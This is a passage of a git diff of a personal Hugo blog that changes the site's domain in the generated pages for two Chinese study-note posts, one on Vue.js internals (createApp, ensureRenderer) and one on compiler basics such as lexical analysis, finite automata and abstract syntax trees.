+ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"vuejs底层原理学习笔记","item":"https://chenjunlinabc.github.io/posts/147/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"vuejs底层原理学习笔记","name":"vuejs底层原理学习笔记","description":"组件的渲染，更新\n组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM\nvue应用的初始化\nimport { createApp } from 'vue' import App from './app' const app = createApp(App) app.mount('#app') 通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用\n通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的\nensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）","keywords":["vuejs"],"articleBody":"组件的渲染，更新\n组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM\nvue应用的初始化\nimport { createApp } from 'vue' import App from './app' const app = createApp(App) app.mount('#app') 通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用\n通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的\nensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）\n","wordCount":"21","inLanguage":"en","datePublished":"2022-04-26T20:00:00Z","dateModified":"2022-04-26T20:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/147/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>vuejs底层原理学习笔记</h1><div class=post-meta><span title='2022-04-26 20:00:00 +0000 UTC'>2022-04-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/vuejs%e5%ba%95%e5%b1%82%e5%8e%9f%e7%90%86%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>组件的渲染，更新</p><p>组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM</p><p>vue应用的初始化</p><pre><code>import { createApp } from 'vue'
+import App from './app'
+const app = createApp(App)
+app.mount('#app')
+</code></pre><p>通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用</p><p>通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的</p><p>ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/vuejs/>vuejs</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/148/><span class=title>« Prev</span><br><span>编译原理学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/pm2/><span class=title>Next »</span><br><span>简单使用Pm2---node进程管理工具</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/148/index.html b/posts/148/index.html
index 60138d7f..458eb4fa 100644
--- a/posts/148/index.html
+++ b/posts/148/index.html
@@ -30,8 +30,8 @@
 当识别扫描到a时，会处于标识符状态，直到遇到了==，就会切换到比较运算符状态，然后再识别1，知道该值是数值字面量
 语法分析
 语法分析的过程就是在词法分析的基础上分析程序的语法结构，这个语法结构是树状的，这个树叫抽象语法树（Abstract Syntax Tree，AST），树节点是语法单元，可通过递归下降算法或者自底向上算法来构造该树状
-语法制导翻译"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/148/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="编译原理学习笔记"><meta property="og:description" content="编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））
+语法制导翻译"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/148/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="编译原理学习笔记"><meta property="og:description" content="编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））
 编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式
 编译的翻译只能作用于形式语言
 编译器和解释器
@@ -63,7 +63,7 @@
 当识别扫描到a时，会处于标识符状态，直到遇到了==，就会切换到比较运算符状态，然后再识别1，知道该值是数值字面量
 语法分析
 语法分析的过程就是在词法分析的基础上分析程序的语法结构，这个语法结构是树状的，这个树叫抽象语法树（Abstract Syntax Tree，AST），树节点是语法单元，可通过递归下降算法或者自底向上算法来构造该树状
-语法制导翻译"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/148/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-05-08T03:00:00+00:00"><meta property="article:modified_time" content="2022-05-08T03:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="编译原理学习笔记"><meta name=twitter:description content="编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））
+语法制导翻译"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/148/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-05-08T03:00:00+00:00"><meta property="article:modified_time" content="2022-05-08T03:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="编译原理学习笔记"><meta name=twitter:description content="编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））
 编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式
 编译的翻译只能作用于形式语言
 编译器和解释器
@@ -95,11 +95,11 @@
 当识别扫描到a时，会处于标识符状态，直到遇到了==，就会切换到比较运算符状态，然后再识别1，知道该值是数值字面量
 语法分析
 语法分析的过程就是在词法分析的基础上分析程序的语法结构，这个语法结构是树状的，这个树叫抽象语法树（Abstract Syntax Tree，AST），树节点是语法单元，可通过递归下降算法或者自底向上算法来构造该树状
-语法制导翻译"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"编译原理学习笔记","item":"https://xiaochenabc123.github.io/posts/148/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"编译原理学习笔记","name":"编译原理学习笔记","description":"编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））\n编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式\n编译的翻译只能作用于形式语言\n编译器和解释器\n编译器将源程序编译成目标的程序\n解释器接收源程序与输入，执行并且返回输出\n混合编译器通常需要2次编译，第一次编译将源程序翻译成目标程序，第二次编译时，将目标程序与输入一起放到虚拟机来处理执行（虚拟机用于跨平台，来处理复杂的执行环境）\n即时编译器，将源程序编译成机器码后再执行\n交叉编译：在一个平台上编译产生多个平台的可执行程序\n编译的过程\n关注度分离\n词法分析（分词，分析词法）\n语法分析（将词分析的结果分析成抽象语法树的过程，也就是AST（Abstract Syntax Tree）），语法分析器被叫为parser\n语义分析：分析抽象语法的语法是否合法\n根据抽象语法树生成的三地址码进行存储，传输，优化\n根据三地址码生成机器码（有一些还需要把机器码编译成可执行应用）\n词法分析：将程序的字符流转换为符号流，分析符号，并且给予描述\n例如：let a = 1\n词法分析后得到\nlet: Keyword a: Variable =: Operator 1: Integer\n词法分析器会将关键字抽离，并且对每个字符作描述\n词法分析器得到返回值是符号元组，符号又叫词法单元（Token）\n词法：构造语句的方法（哪些是具备词性（根据词的特点来区分的语法分类，例如动词，名词等等），哪些是具备词语（具有意义的词，关键字）），通常使用正则表达式来描述词法，使用状态机来实现正则表达式\n字母表（alphabet）：某个编程语言中允许的全部字符\n串（string）是某个编程语言中的字母序列\n词法分析器将源程序的字符流进行分析，通正则文法过来找到这些词汇，并且给予词性，如果存在不支持的词汇，则报错（也就是分词）\n词法分析器使用了一种叫有限自动机（有限状态机，deterministic finite automaton, DFA）的算法，在分析字符串时，当遇到了关键字时，会改变状态\n有限自动机和图灵机很相似，不过有限自动机只能读取，无法进行计算\n例如：a == 1\n当识别扫描到a时，会处于标识符状态，直到遇到了==，就会切换到比较运算符状态，然后再识别1，知道该值是数值字面量\n语法分析\n语法分析的过程就是在词法分析的基础上分析程序的语法结构，这个语法结构是树状的，这个树叫抽象语法树（Abstract Syntax Tree，AST），树节点是语法单元，可通过递归下降算法或者自底向上算法来构造该树状\n语法制导翻译","keywords":["编译原理"],"articleBody":"编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））\n编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式\n编译的翻译只能作用于形式语言\n编译器和解释器\n编译器将源程序编译成目标的程序\n解释器接收源程序与输入，执行并且返回输出\n混合编译器通常需要2次编译，第一次编译将源程序翻译成目标程序，第二次编译时，将目标程序与输入一起放到虚拟机来处理执行（虚拟机用于跨平台，来处理复杂的执行环境）\n即时编译器，将源程序编译成机器码后再执行\n交叉编译：在一个平台上编译产生多个平台的可执行程序\n编译的过程\n关注度分离\n词法分析（分词，分析词法）\n语法分析（将词分析的结果分析成抽象语法树的过程，也就是AST（Abstract Syntax Tree）），语法分析器被叫为parser\n语义分析：分析抽象语法的语法是否合法\n根据抽象语法树生成的三地址码进行存储，传输，优化\n根据三地址码生成机器码（有一些还需要把机器码编译成可执行应用）\n词法分析：将程序的字符流转换为符号流，分析符号，并且给予描述\n例如：let a = 1\n词法分析后得到\nlet: Keyword a: Variable =: Operator 1: Integer\n词法分析器会将关键字抽离，并且对每个字符作描述\n词法分析器得到返回值是符号元组，符号又叫词法单元（Token）\n词法：构造语句的方法（哪些是具备词性（根据词的特点来区分的语法分类，例如动词，名词等等），哪些是具备词语（具有意义的词，关键字）），通常使用正则表达式来描述词法，使用状态机来实现正则表达式\n字母表（alphabet）：某个编程语言中允许的全部字符\n串（string）是某个编程语言中的字母序列\n词法分析器将源程序的字符流进行分析，通正则文法过来找到这些词汇，并且给予词性，如果存在不支持的词汇，则报错（也就是分词）\n词法分析器使用了一种叫有限自动机（有限状态机，deterministic finite automaton, DFA）的算法，在分析字符串时，当遇到了关键字时，会改变状态\n有限自动机和图灵机很相似，不过有限自动机只能读取，无法进行计算\n例如：a == 1\n当识别扫描到a时，会处于标识符状态，直到遇到了==，就会切换到比较运算符状态，然后再识别1，知道该值是数值字面量\n语法分析\n语法分析的过程就是在词法分析的基础上分析程序的语法结构，这个语法结构是树状的，这个树叫抽象语法树（Abstract Syntax Tree，AST），树节点是语法单元，可通过递归下降算法或者自底向上算法来构造该树状\n语法制导翻译\n","wordCount":"52","inLanguage":"en","datePublished":"2022-05-08T03:00:00Z","dateModified":"2022-05-08T03:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/148/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>编译原理学习笔记</h1><div class=post-meta><span title='2022-05-08 03:00:00 +0000 UTC'>2022-05-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%bc%96%e8%af%91%e5%8e%9f%e7%90%86%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））</p><p>编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式</p><p>编译的翻译只能作用于形式语言</p><p>编译器和解释器</p><p>编译器将源程序编译成目标的程序</p><p>解释器接收源程序与输入，执行并且返回输出</p><p>混合编译器通常需要2次编译，第一次编译将源程序翻译成目标程序，第二次编译时，将目标程序与输入一起放到虚拟机来处理执行（虚拟机用于跨平台，来处理复杂的执行环境）</p><p>即时编译器，将源程序编译成机器码后再执行</p><p>交叉编译：在一个平台上编译产生多个平台的可执行程序</p><p>编译的过程</p><p>关注度分离</p><p>词法分析（分词，分析词法）</p><p>语法分析（将词分析的结果分析成抽象语法树的过程，也就是AST（Abstract Syntax Tree）），语法分析器被叫为parser</p><p>语义分析：分析抽象语法的语法是否合法</p><p>根据抽象语法树生成的三地址码进行存储，传输，优化</p><p>根据三地址码生成机器码（有一些还需要把机器码编译成可执行应用）</p><p>词法分析：将程序的字符流转换为符号流，分析符号，并且给予描述</p><p>例如：let a = 1</p><p>词法分析后得到</p><p>let: Keyword
+语法制导翻译"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"编译原理学习笔记","item":"https://chenjunlinabc.github.io/posts/148/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"编译原理学习笔记","name":"编译原理学习笔记","description":"编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））\n编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式\n编译的翻译只能作用于形式语言\n编译器和解释器\n编译器将源程序编译成目标的程序\n解释器接收源程序与输入，执行并且返回输出\n混合编译器通常需要2次编译，第一次编译将源程序翻译成目标程序，第二次编译时，将目标程序与输入一起放到虚拟机来处理执行（虚拟机用于跨平台，来处理复杂的执行环境）\n即时编译器，将源程序编译成机器码后再执行\n交叉编译：在一个平台上编译产生多个平台的可执行程序\n编译的过程\n关注度分离\n词法分析（分词，分析词法）\n语法分析（将词分析的结果分析成抽象语法树的过程，也就是AST（Abstract Syntax Tree）），语法分析器被叫为parser\n语义分析：分析抽象语法的语法是否合法\n根据抽象语法树生成的三地址码进行存储，传输，优化\n根据三地址码生成机器码（有一些还需要把机器码编译成可执行应用）\n词法分析：将程序的字符流转换为符号流，分析符号，并且给予描述\n例如：let a = 1\n词法分析后得到\nlet: Keyword a: Variable =: Operator 1: Integer\n词法分析器会将关键字抽离，并且对每个字符作描述\n词法分析器得到返回值是符号元组，符号又叫词法单元（Token）\n词法：构造语句的方法（哪些是具备词性（根据词的特点来区分的语法分类，例如动词，名词等等），哪些是具备词语（具有意义的词，关键字）），通常使用正则表达式来描述词法，使用状态机来实现正则表达式\n字母表（alphabet）：某个编程语言中允许的全部字符\n串（string）是某个编程语言中的字母序列\n词法分析器将源程序的字符流进行分析，通正则文法过来找到这些词汇，并且给予词性，如果存在不支持的词汇，则报错（也就是分词）\n词法分析器使用了一种叫有限自动机（有限状态机，deterministic finite automaton, DFA）的算法，在分析字符串时，当遇到了关键字时，会改变状态\n有限自动机和图灵机很相似，不过有限自动机只能读取，无法进行计算\n例如：a == 1\n当识别扫描到a时，会处于标识符状态，直到遇到了==，就会切换到比较运算符状态，然后再识别1，知道该值是数值字面量\n语法分析\n语法分析的过程就是在词法分析的基础上分析程序的语法结构，这个语法结构是树状的，这个树叫抽象语法树（Abstract Syntax Tree，AST），树节点是语法单元，可通过递归下降算法或者自底向上算法来构造该树状\n语法制导翻译","keywords":["编译原理"],"articleBody":"编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））\n编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式\n编译的翻译只能作用于形式语言\n编译器和解释器\n编译器将源程序编译成目标的程序\n解释器接收源程序与输入，执行并且返回输出\n混合编译器通常需要2次编译，第一次编译将源程序翻译成目标程序，第二次编译时，将目标程序与输入一起放到虚拟机来处理执行（虚拟机用于跨平台，来处理复杂的执行环境）\n即时编译器，将源程序编译成机器码后再执行\n交叉编译：在一个平台上编译产生多个平台的可执行程序\n编译的过程\n关注度分离\n词法分析（分词，分析词法）\n语法分析（将词分析的结果分析成抽象语法树的过程，也就是AST（Abstract Syntax Tree）），语法分析器被叫为parser\n语义分析：分析抽象语法的语法是否合法\n根据抽象语法树生成的三地址码进行存储，传输，优化\n根据三地址码生成机器码（有一些还需要把机器码编译成可执行应用）\n词法分析：将程序的字符流转换为符号流，分析符号，并且给予描述\n例如：let a = 1\n词法分析后得到\nlet: Keyword a: Variable =: Operator 1: 